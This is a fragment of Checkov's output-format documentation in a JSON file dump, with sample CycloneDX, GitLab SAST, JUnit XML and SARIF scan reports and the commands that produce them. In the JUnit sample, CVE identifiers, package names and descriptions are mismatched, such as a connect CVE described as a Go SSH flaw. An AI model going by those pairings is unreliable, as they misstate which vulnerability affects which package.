    "content": "---\nlayout: default\npublished: true\ntitle: CycloneDX BOM\nnav_order: 20\n---\n\n# CycloneDX BOM\n\nCycloneDX is a lightweight BOM specification that is easily created, human-readable, and simple to parse.\n\nA typical output looks like this\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.4\" serialNumber=\"urn:uuid:59fccc63-7218-4396-befc-5de315c08434\" version=\"1\">\n  <metadata>\n    <timestamp>2022-07-17T14:13:26.536352+00:00</timestamp>\n    <tools>\n      <tool>\n        <vendor>CycloneDX</vendor>\n        <name>cyclonedx-python-lib</name>\n        <version>2.6.0</version>\n        <externalReferences>\n          <reference type=\"build-system\">\n            <url>https://github.com/CycloneDX/cyclonedx-python-lib/actions</url>\n          </reference>\n          <reference type=\"distribution\">\n            <url>https://pypi.org/project/cyclonedx-python-lib/</url>\n          </reference>\n          <reference type=\"documentation\">\n            <url>https://cyclonedx.github.io/cyclonedx-python-lib/</url>\n          </reference>\n          <reference type=\"issue-tracker\">\n            <url>https://github.com/CycloneDX/cyclonedx-python-lib/issues</url>\n          </reference>\n          <reference type=\"license\">\n            <url>https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/LICENSE</url>\n          </reference>\n          <reference type=\"release-notes\">\n            <url>https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/CHANGELOG.md</url>\n          </reference>\n          <reference type=\"vcs\">\n            <url>https://github.com/CycloneDX/cyclonedx-python-lib</url>\n          </reference>\n          <reference type=\"website\">\n            <url>https://cyclonedx.org</url>\n          </reference>\n        </externalReferences>\n      </tool>\n      <tool>\n        <vendor>prisma_cloud</vendor>\n        <name>checkov</name>\n        <version>2.1.38</version>\n        <externalReferences>\n          <reference type=\"build-system\">\n            <url>https://github.com/bridgecrewio/checkov/actions</url>\n          </reference>\n          <reference type=\"distribution\">\n            <url>https://pypi.org/project/checkov/</url>\n          </reference>\n          <reference type=\"documentation\">\n            <url>https://www.checkov.io/1.Welcome/What%20is%20Checkov.html</url>\n          </reference>\n          <reference type=\"issue-tracker\">\n            <url>https://github.com/bridgecrewio/checkov/issues</url>\n          </reference>\n          <reference type=\"license\">\n            <url>https://github.com/bridgecrewio/checkov/blob/master/LICENSE</url>\n          </reference>\n          <reference type=\"social\">\n            <url>https://twitter.com/prisma_cloud</url>\n          </reference>\n          <reference type=\"vcs\">\n            <url>https://github.com/bridgecrewio/checkov</url>\n          </reference>\n          <reference type=\"website\">\n            <url>https://www.checkov.io/</url>\n          </reference>\n        </externalReferences>\n      </tool>\n    </tools>\n  </metadata>\n  <components>\n    <component bom-ref=\"pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85\" type=\"application\">\n      <name>aws_s3_bucket.example</name>\n      <version>sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</version>\n      <hashes>\n        <hash alg=\"SHA-1\">c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</hash>\n      </hashes>\n      <purl>pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</purl>\n    </component>\n    <component bom-ref=\"pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6\" type=\"library\">\n      <name>flask</name>\n      <version>0.6</version>\n      <purl>pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6</purl>\n    </component>\n  </components>\n  <dependencies>\n    <dependency ref=\"pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85\" />\n    <dependency ref=\"pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6\" />\n  </dependencies>\n  <vulnerabilities>\n    <vulnerability bom-ref=\"6541a13d-8e97-419d-aaca-7fd185f052fd\">\n      <id>CKV2_AWS_6</id>\n      <source>\n        <name>checkov</name>\n      </source>\n      <description>Resource: aws_s3_bucket.example. Ensure that S3 bucket has a Public Access block</description>\n      <advisories>\n        <advisory>\n          <url>https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-bucket-should-have-public-access-blocks-defaults-to-false-if-the-public-access-block-is-not-attached</url>\n        </advisory>\n      </advisories>\n      <affects>\n        <target>\n          <ref>pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</ref>\n        </target>\n      </affects>\n    </vulnerability>\n    <vulnerability bom-ref=\"0b326d31-d730-43d2-9dbf-e898c24d92b5\">\n      <id>CKV_AWS_144</id>\n      <source>\n        <name>checkov</name>\n      </source>\n      <description>Resource: aws_s3_bucket.example. Ensure that S3 bucket has cross-region replication enabled</description>\n      <advisories>\n        <advisory>\n          <url>https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/ensure-that-s3-bucket-has-cross-region-replication-enabled</url>\n        </advisory>\n      </advisories>\n      <affects>\n        <target>\n          <ref>pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</ref>\n        </target>\n      </affects>\n    </vulnerability>\n    <vulnerability bom-ref=\"fd5b3e13-407b-4af3-a25c-bee3613a7bd8\">\n      <id>CKV_AWS_145</id>\n      <source>\n        <name>checkov</name>\n      </source>\n      <description>Resource: aws_s3_bucket.example. Ensure that S3 buckets are encrypted with KMS by default</description>\n      <advisories>\n        <advisory>\n          <url>https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/ensure-that-s3-buckets-are-encrypted-with-kms-by-default</url>\n        </advisory>\n      </advisories>\n      <affects>\n        <target>\n          <ref>pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</ref>\n        </target>\n      </affects>\n    </vulnerability>\n    <vulnerability bom-ref=\"df6af40a-3042-4852-8029-87366fbb49ff\">\n      <id>CKV_AWS_18</id>\n      <source>\n        <name>checkov</name>\n      </source>\n      <description>Resource: aws_s3_bucket.example. Ensure the S3 bucket has access logging enabled</description>\n      <advisories>\n        <advisory>\n          <url>https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_13-enable-logging</url>\n        </advisory>\n      </advisories>\n      <affects>\n        <target>\n          <ref>pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</ref>\n        </target>\n      </affects>\n    </vulnerability>\n    <vulnerability bom-ref=\"36a44192-ccbb-4534-a8ad-5be689279e3e\">\n      <id>CKV_AWS_19</id>\n      <source>\n        <name>checkov</name>\n      </source>\n      <description>Resource: aws_s3_bucket.example. Ensure all data stored in the S3 bucket is securely encrypted at rest</description>\n      <advisories>\n        <advisory>\n          <url>https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_14-data-encrypted-at-rest</url>\n        </advisory>\n      </advisories>\n      <affects>\n        <target>\n          <ref>pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</ref>\n        </target>\n      </affects>\n    </vulnerability>\n    <vulnerability bom-ref=\"43ddb9d1-06d2-4ea5-b112-a2f97a3c03d4\">\n      <id>CKV_AWS_21</id>\n      <source>\n        <name>checkov</name>\n      </source>\n      <description>Resource: aws_s3_bucket.example. Ensure all data stored in the S3 bucket have versioning enabled</description>\n      <advisories>\n        <advisory>\n          <url>https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning</url>\n        </advisory>\n      </advisories>\n      <affects>\n        <target>\n          <ref>pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</ref>\n        </target>\n      </affects>\n    </vulnerability>\n    <vulnerability bom-ref=\"8ce0817a-fe7f-48b4-bb43-8c28396a386f\">\n      <id>CVE-2018-1000656</id>\n      <source>\n        <url>https://nvd.nist.gov/vuln/detail/CVE-2018-1000656</url>\n      </source>\n      <ratings>\n        <rating>\n          <source>\n            <url>https://nvd.nist.gov/vuln/detail/CVE-2018-1000656</url>\n          </source>\n          <score>7.5</score>\n          <severity>unknown</severity>\n          <method>CVSSv3</method>\n          <vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</vector>\n        </rating>\n      </ratings>\n      <description>The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.</description>\n      <recommendation>fixed in 0.12.3</recommendation>\n      <published>2018-08-20T19:31:00</published>\n      <affects>\n        <target>\n          <ref>pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6</ref>\n        </target>\n      </affects>\n    </vulnerability>\n    <vulnerability bom-ref=\"30c1c64b-d902-4f20-b830-c8a2e6bdc13b\">\n      <id>CVE-2019-1010083</id>\n      <source>\n        <url>https://nvd.nist.gov/vuln/detail/CVE-2019-1010083</url>\n      </source>\n      <ratings>\n        <rating>\n          <source>\n            <url>https://nvd.nist.gov/vuln/detail/CVE-2019-1010083</url>\n          </source>\n          <score>7.5</score>\n          <severity>unknown</severity>\n          <method>CVSSv3</method>\n          <vector>AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</vector>\n        </rating>\n      </ratings>\n      <description>The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.</description>\n      <recommendation>fixed in 1.0</recommendation>\n      <published>2019-07-17T14:15:00</published>\n      <affects>\n        <target>\n          <ref>pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6</ref>\n        </target>\n      </affects>\n    </vulnerability>\n  </vulnerabilities>\n</bom>\n```\n\nThe output can be either created in a XML\n\n```shell\ncheckov -d . -o cyclonedx\n```\n\nor JSON format.\n\n```shell\ncheckov -d . -o cyclonedx_json\n```\n\nThe default schema version is currently `v1.4`, but can be adjusted by setting the environment variable `CHECKOV_CYCLONEDX_SCHEMA_VERSION`.\n\nex.\n```shell\nCHECKOV_CYCLONEDX_SCHEMA_VERSION=1.3 checkov -d . -o cyclonedx\n```\n\n## Structure\n\nFurther information on the different elements and attributes can be found [here](https://cyclonedx.org/docs/1.4/xml/).\n\n### component\n\nEach component stores the information of a single IaC resource or SCA package.\n\nIaC\n```xml\n<component bom-ref=\"pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85\" type=\"application\">\n  <name>aws_s3_bucket.example</name>\n  <version>sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</version>\n  <hashes>\n    <hash alg=\"SHA-1\">c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</hash>\n  </hashes>\n  <purl>pkg:terraform/cli_repo/pd/main.tf/aws_s3_bucket.example@sha1:c9b9b2eba0a7d4ccb66096df77e1a6715ea1ae85</purl>\n</component>\n```\n\n- `name`: Resource ID\n- `version`: sha1 hash of the file\n- `hash`: sha1 hash of the file\n- `purl`: Format `pkg:<runner name>/<repo ID>/<file path>/<resource ID>@<sha1 hash of the file>`\n\nSCA\n```xml\n<component bom-ref=\"pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6\" type=\"library\">\n  <name>flask</name>\n  <version>0.6</version>\n  <purl>pkg:pypi/cli_repo/pd/requirements.txt/flask@0.6</purl>\n</component>\n```\n\n- `group`: Group name of the package (only relevant for Maven packages)\n- `name`: Name of the package\n- `version`: Version of the package\n- `purl`: Format `pkg:<package type>/<repo ID>/<file path>/<package group name>/<package name>@<package version>`\n\nThe repo ID will be automatically set depending on the environment `checkov` is invoked in, but can be adjusted by setting the flag `--repo-id`.\n\nex.\n```shell\ncheckov -d . --repo-id acme/example -o cyclonedx\n```\n"
  },
  {
    "path": "docs/8.Outputs/GitLab SAST.md",
    "content": "---\nlayout: default\npublished: true\ntitle: GitLab SAST\nnav_order: 20\n---\n\n# GitLab SAST\n\nGitLab SAST output adds the possibility to directly integrate with the Security tab and Merge Requests in GitLab.\n\nA typical output looks like this\n```json\n{\n  \"schema\": \"https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/raw/v15.0.4/dist/sast-report-format.json\",\n  \"version\": \"15.0.4\",\n  \"scan\": {\n    \"start_time\": \"2023-01-23T22:45:33\",\n    \"end_time\": \"2023-01-23T22:45:33\",\n    \"analyzer\": {\n      \"id\": \"checkov\",\n      \"name\": \"Checkov\",\n      \"url\": \"https://www.checkov.io/\",\n      \"vendor\": {\n        \"name\": \"Prisma Cloud\"\n      },\n      \"version\": \"2.2.281\"\n    },\n    \"scanner\": {\n      \"id\": \"checkov\",\n      \"name\": \"Checkov\",\n      \"url\": \"https://www.checkov.io/\",\n      \"vendor\": {\n        \"name\": \"Prisma Cloud\"\n      },\n      \"version\": \"2.2.281\"\n    },\n    \"status\": \"success\",\n    \"type\": \"sast\"\n  },\n  \"vulnerabilities\": [\n    {\n      \"id\": \"605d1ad8-da1e-4784-859a-199708846fee\",\n      \"identifiers\": [\n        {\n          \"name\": \"CKV_AWS_18\",\n          \"type\": \"checkov\",\n          \"url\": \"https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_13-enable-logging\",\n          \"value\": \"CKV_AWS_18\"\n        }\n      ],\n      \"links\": [\n        {\n          \"url\": \"https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_13-enable-logging\"\n        }\n      ],\n      \"location\": {\n        \"file\": \"main.tf\",\n        \"start_line\": 1,\n        \"end_line\": 8\n      },\n      \"name\": \"Ensure the S3 bucket has access logging enabled\",\n      \"description\": \"Further info can be found None\",\n      \"severity\": \"Unknown\",\n      \"solution\": \"Further info can be found None\"\n    },\n    {\n      \"id\": \"1fe876c4-db57-4785-867e-ab1415250382\",\n      \"identifiers\": [\n        {\n          \"name\": \"CKV2_AWS_6\",\n          \"type\": \"checkov\",\n          \"url\": \"https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-bucket-should-have-public-access-blocks-defaults-to-false-if-the-public-access-block-is-not-attached\",\n          \"value\": \"CKV2_AWS_6\"\n        }\n      ],\n      \"links\": [\n        {\n          \"url\": \"https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-bucket-should-have-public-access-blocks-defaults-to-false-if-the-public-access-block-is-not-attached\"\n        }\n      ],\n      \"location\": {\n        \"file\": \"main.tf\",\n        \"start_line\": 1,\n        \"end_line\": 8\n      },\n      \"name\": \"Ensure that S3 bucket has a Public Access block\",\n      \"description\": \"Further info can be found None\",\n      \"severity\": \"Unknown\",\n      \"solution\": \"Further info can be found None\"\n    }\n  ]\n}\n```\n\nThe output can be created via the output flag\n\n```shell\ncheckov -d . -o gitlab_sast\n```\n\n## Structure\n\nFurther information on the different elements and attributes can be found [here](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/raw/v15.0.4/dist/sast-report-format.json).\n"
  },
  {
    "path": "docs/8.Outputs/JUnit XML.md",
    "content": "---\nlayout: default\npublished: true\ntitle: JUnit XML\nnav_order: 20\n---\n\n# JUnit XML\n\nJUnit is the most widespread testing framework for Java and offers its result as an XML output, mostly known as JUnit XML.\nThis output is often used to show the test results in CI tools like Jenkins or Gitlab.\n\nA typical output looks like this\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<testsuites>\n  <testsuite errors=\"0\" failures=\"0\" hostname=\"myhost\" id=\"0\" name=\"TestMessage\" package=\"com.sample.test\" skipped=\"0\" tests=\"1\" time=\"0.063\" timestamp=\"2015-01-13T07:23:07\">\n      <properties>\n      </properties>\n      <testcase classname=\"com.sample.test.TestMessage\" name=\"test_welcome_message\" time=\"0.002\" />\n      <system-out><![CDATA[]]></system-out>\n      <system-err><![CDATA[]]></system-err>\n  </testsuite>\n  <testsuite errors=\"0\" failures=\"0\" hostname=\"myhost\" id=\"1\" name=\"TestMessage2\" package=\"com.sample.test\" skipped=\"0\" tests=\"2\" time=\"0.06\" timestamp=\"2015-01-13T07:23:08\">\n      <properties>\n      </properties>\n      <testcase classname=\"com.sample.test.TestMessage2\" name=\"test_welcome_message_2\" time=\"0.001\" />\n      <testcase classname=\"com.sample.test.TestMessage2\" name=\"test_welcome_message_3\" time=\"0.003\" />\n      <system-out><![CDATA[]]></system-out>\n      <system-err><![CDATA[]]></system-err>\n  </testsuite>\n</testsuites>\n```\n\n## Structure\n\nFurther information on the different elements and attributes can be found [here](https://llg.cubic.org/docs/junit/).\n\n### testsuite\n\nEach testsuite stores the results of one `checkov` runner.\n\n```xml\n<testsuite disabled=\"0\" errors=\"0\" failures=\"2\" name=\"terraform scan\" skipped=\"1\" tests=\"5\" time=\"12.34\">\n```\n\n- `name`: Name of the runner\n- `tests`: Amount of checks ran (passed + failed + skipped)\n- `failures`: Amount of failed checks\n- `skipped`: Amount of skipped checks\n- `time`: Currently not used - At some point it will store the time the runner needed to execute all checks\n- `disabled`: Not used - Was introduced in JUnit 5 to mark disabled tests\n- `errors`: Not used - Amount of tests with real exceptions\n\n### properties\n\nThe properties block stores the used flags during a `checkov` run. \n\n```xml\n<properties>\n    <property name=\"directory\" value=\"example\"/>\n</properties>\n```\n\n- `name`: Name of the flag used\n- `value`: Value passed to the flag, otherwise `\"\"`\n\n### testcase\n\nA testcase represents the result of a check.\n\nIaC\n```xml\n<testcase name=\"[CRITICAL][CKV_AWS_20] S3 Bucket has an ACL defined which allows public READ access.\" classname=\"/main.tf.aws_s3_bucket.example\" file=\"/main.tf\"/>\n```\n\n- `name`: Format `[<severity>][<check ID>] <check name>`\n- `classname`: Format `<file path>.<resource ID>`\n- `file`: Used by Gitlab - File path of the scanned file\n\nSCA\n```xml\n<testcase name=\"[HIGH][CVE-2013-7370] connect: 2.6.0\" classname=\"/package-lock.json.connect\" file=\"/package-lock.json\">\n```\n\n- `name`: Format `[<severity>][<CVE ID>] <package name>: <package version>`\n- `classname`: Format `<file path>.<package name>`\n- `file`: Used by Gitlab - File path of the scanned file\n\nNOTE: For none API token user severity will be `[NONE]`\n\n#### failure\n\nA failure block stores the error lines of the check.\n\nIaC\n```xml\n<failure type=\"failure\" message=\"Ensure all data stored in the S3 bucket have versioning enabled\">\n    Resource: aws_s3_bucket.example\n    File: /main.tf: 6-9\n    Guideline: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning\n    \n        6 | resource \"aws_s3_bucket\" \"example\" {\n        7 |   # checkov:skip=CKV_AWS_18: logging not needed on a logging bucket\n        8 |   bucket = \"test-12345\"\n        9 | }\n</failure>\n```\n\n- `message`: Format `<check name>`\n- `content`: Format\n  ```\n  Resource: <resource ID>\n  File: <file path>\n  Guideline: <guideline link>\n  \n    <line numbers + code of failed resource>\n  ```\n\nSCA\n```xml\n<failure type=\"failure\" message=\"CVE-2013-7370 found in connect: 2.6.0\">\n    Description: A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.0-20201203163018-be400aefbc4c for Go allows remote attackers to cause a denial of service against SSH servers.\n    Link: https://nvd.nist.gov/vuln/detail/CVE-2020-29652\n    Published Date: 2020-12-17T21:31:00+02:00\n    Base Score: 7.5\n    Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n    Risk Factors: [\"Has fix\", \"High severity\", \"Attack complexity: low\", \"Attack vector: network\", \"DoS\"]\n    Fix Details:\n      Status: fixed in 2.8.1 \n      Fixed Version: 2.8.1\n  \n    Resource: package-lock.json.connect\n    File: /package-lock.json: 0-0\n    \n        0 | connect: 2.6.0\n</failure>\n```\n\n- `message`: Format `<CVE ID> found in <package name>: <package version>`\n- `content`: Format\n  ```\n  Description: <CVE description>\n  Link: <CVE link>\n  Vector: <CVSS vector string>\n  Risk Factors: <list of risk factors>\n  Fix Details:\n    Status: <status of possible fixed versions>\n    Fixed Version: <lowest fixed version>\n  \n  Resource: <resource ID>\n  File: <file path>\n  \n    <line numbers + code of vulnerable package>\n  ```\n  \nNOTE: We currently don't parse the scanned parse files, therefore the line numbers and code representation are generated.\n\n#### skipped\n\nA skipped block stores the skip comment defined for the check.\n\nIaC\n```xml\n<skipped type=\"skipped\" message=\"logging not needed on a logging bucket\"/>\n```\n\n- `message`: Content of the skip comment\n\nSCA\n```xml\n<skipped type=\"skipped\" message=\"CVE-2019-19844 skipped for django: 1.2\"/>\n```\n\n- `message`: Format `<CVE ID> skipped for <package name>: <package version>`\n\n## Example\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<testsuites disabled=\"0\" errors=\"0\" name=\"checkov\" failures=\"2\" tests=\"6\" time=\"23.34\">\n    <testsuite disabled=\"0\" errors=\"0\" failures=\"2\" name=\"terraform scan\" skipped=\"1\" tests=\"5\" time=\"12.34\">\n        <properties>\n            <property name=\"directory\" value=\"example\"/>\n            <property name=\"output\" value=\"['junitxml']\"/>\n        </properties>\n\n        <testcase name=\"[CRITICAL][CKV_AWS_20] S3 Bucket has an ACL defined which allows public READ access.\" classname=\"/main.tf.aws_s3_bucket.example\" file=\"/main.tf\"/>\n        <testcase name=\"[CRITICAL][CKV_AWS_20] S3 Bucket has an ACL defined which allows public READ access.\" classname=\"/main.tf.aws_s3_bucket.example_2\" file=\"/main.tf\"/>\n\n        <testcase name=\"[HIGH][CKV_AWS_21] Ensure all data stored in the S3 bucket have versioning enabled\" classname=\"/main.tf.aws_s3_bucket.example\" file=\"/main.tf\">\n            <failure type=\"failure\" message=\"Ensure all data stored in the S3 bucket have versioning enabled\">\n                Resource: aws_s3_bucket.example\n                File: /main.tf: 6-9\n                Guideline: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning\n                \n                    6 | resource \"aws_s3_bucket\" \"example\" {\n                    7 |   # checkov:skip=CKV_AWS_18: logging not needed on a logging bucket\n                    8 |   bucket = \"test-12345\"\n                    9 | }\n            </failure>\n        </testcase>\n        <testcase name=\"[HIGH][CKV_AWS_21] Ensure all data stored in the S3 bucket have versioning enabled\" classname=\"/main.tf.aws_s3_bucket.example_2\" file=\"/main.tf\">\n            <failure type=\"failure\" message=\"Ensure all data stored in the S3 bucket have versioning enabled\">\n                Resource: aws_s3_bucket.example_2\n                File: /main.tf: 12-15\n                Guideline: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning\n                \n                    12 | resource \"aws_s3_bucket\" \"example_2\" {\n                    13 |   # checkov:skip=CKV_AWS_18: logging not needed on a logging bucket\n                    14 |   bucket = \"test-12345\"\n                    15 | }\n            </failure>\n        </testcase>\n\n        <testcase name=\"[MEDIUM][CKV_AWS_18] Ensure the S3 bucket has access logging enabled\" classname=\"/main.tf.aws_s3_bucket.example\" file=\"/main.tf\">\n            <skipped type=\"skipped\" message=\"logging not needed on a logging bucket\"/>\n        </testcase>\n    </testsuite>\n    <testsuite disabled=\"0\" errors=\"0\" failures=\"0\" name=\"cloudformation scan\" skipped=\"0\" tests=\"1\" time=\"1.00\">\n        <testcase name=\"[LOW][CKV_AWS_20] S3 Bucket has an ACL defined which allows public READ access.\" classname=\"/cfn.yaml.AWS::S3::Bucket.Example\" file=\"/cfn.yaml\"/>\n    </testsuite>\n    <testsuite disabled=\"0\" errors=\"0\" failures=\"2\" name=\"sca_package scan\" skipped=\"1\" tests=\"3\" time=\"10.00\">\n        <testcase name=\"[HIGH][CVE-2013-7370] connect: 2.6.0\" classname=\"/package-lock.json.connect\" file=\"/package-lock.json\">\n            <failure type=\"failure\" message=\"CVE-2013-7370 found in connect: 2.6.0\">\n                Description: A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.0-20201203163018-be400aefbc4c for Go allows remote attackers to cause a denial of service against SSH servers.\n                Link: https://nvd.nist.gov/vuln/detail/CVE-2020-29652\n                Published Date: 2020-12-17T21:31:00+02:00\n                Base Score: 7.5\n                Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n                Risk Factors: [\"Has fix\", \"High severity\", \"Attack complexity: low\", \"Attack vector: network\", \"DoS\"]\n                Fix Details:\n                  Status: fixed in 2.8.1 \n                  Fixed Version: 2.8.1\n\n                Resource: package-lock.json.connect\n                File: /package-lock.json: 0-0\n                \n                    0 | connect: 2.6.0\n            </failure>\n        </testcase>\n\n        <testcase name=\"[HIGH][CVE-2013-7370] django: 1.2\" classname=\"/requirements.txt.django\" file=\"/requirements.txt\">\n            <skipped type=\"skipped\" message=\"CVE-2019-19844 skipped for django: 1.2\"/>\n        </testcase>\n    </testsuite>\n</testsuites>\n```\n"
  },
  {
    "path": "docs/8.Outputs/SARIF.md",
    "content": "---\nlayout: default\npublished: true\ntitle: SARIF\nnav_order: 20\n---\n\n# SARIF\n\nSARIF (Static Analysis Results Interchange Format) is a standard format for the output of static analysis tools.\nIt can be used to show alerts in your GitHub repository as a part of the code scanning experience.\n\nA typical output looks like this\n```json\n{\n  \"$schema\": \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json\",\n  \"version\": \"2.1.0\",\n  \"runs\": [\n    {\n      \"tool\": {\n        \"driver\": {\n          \"name\": \"Checkov\",\n          \"version\": \"2.3.55\",\n          \"informationUri\": \"https://www.checkov.io/\",\n          \"rules\": [\n            {\n              \"id\": \"CKV_AWS_21\",\n              \"name\": \"Ensure the S3 bucket has versioning enabled\",\n              \"shortDescription\": {\n                \"text\": \"Ensure the S3 bucket has versioning enabled\"\n              },\n              \"fullDescription\": {\n                \"text\": \"Ensure the S3 bucket has versioning enabled\"\n              },\n              \"help\": {\n                \"text\": \"Ensure the S3 bucket has versioning enabled\\nResource: aws_s3_bucket.operations\"\n              },\n              \"helpUri\": \"https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning\",\n              \"defaultConfiguration\": {\n                \"level\": \"error\"\n              },\n              \"properties\": {\"security-severity\": 8.9}\n            },\n            {\n              \"id\": \"CKV_AWS_3\",\n              \"name\": \"Ensure all data stored in the EBS is securely encrypted\",\n              \"shortDescription\": {\n                \"text\": \"Ensure all data stored in the EBS is securely encrypted\"\n              },\n              \"fullDescription\": {\n                \"text\": \"Ensure all data stored in the EBS is securely encrypted\"\n              },\n              \"help\": {\n                \"text\": \"Ensure all data stored in the EBS is securely encrypted\\nResource: aws_ebs_volume.web_host_storage\"\n              },\n              \"helpUri\": \"https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-7\",\n              \"defaultConfiguration\": {\n                \"level\": \"error\"\n              },\n              \"properties\": {\"security-severity\": 6.9}\n            }\n          ],\n          \"organization\": \"prisma\"\n        }\n      },\n      \"results\": [\n        {\n          \"ruleId\": \"CKV_AWS_21\",\n          \"ruleIndex\": 0,\n          \"level\": \"error\",\n          \"attachments\": [],\n          \"message\": {\n            \"text\": \"Ensure the S3 bucket has versioning enabled\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"s3.tf\"\n                },\n                \"region\": {\n                  \"startLine\": 1,\n                  \"endLine\": 3,\n                  \"snippet\": {\n                    \"text\": \"resource aws_s3_bucket \\\"operations\\\" {\\n  bucket = \\\"example\\\"\\n}\\n\"\n                  }\n                }\n              }\n            }\n          ]\n        },\n        {\n          \"ruleId\": \"CKV_AWS_3\",\n          \"ruleIndex\": 1,\n          \"level\": \"error\",\n          \"attachments\": [],\n          \"message\": {\n            \"text\": \"Ensure all data stored in the EBS is securely encrypted\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"ec2.tf\"\n                },\n                \"region\": {\n                  \"startLine\": 5,\n                  \"endLine\": 7,\n                  \"snippet\": {\n                    \"text\": \"resource aws_ebs_volume \\\"web_host_storage\\\" {\\n  availability_zone = \\\"us-west-2a\\\"\\n}\\n\"\n                  }\n                }\n              }\n            }\n          ]\n        }\n      ]\n    }\n  ]\n},\n```\n\nThe output can be created via the output flag\n\n```shell\ncheckov -d . -o sarif\n```\nThe tool.driver.name field can be customised using the --custom-tool-name flag\n\n\n\n## Structure\n\nFurther information on the different elements and attributes can be found [here](https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/sarif-v2.1.0-os.html).\n"
  },
  {
    "path": "docs/CNAME",
    "content": "www.checkov.io"
  },
  {
    "path": "docs/Gemfile",
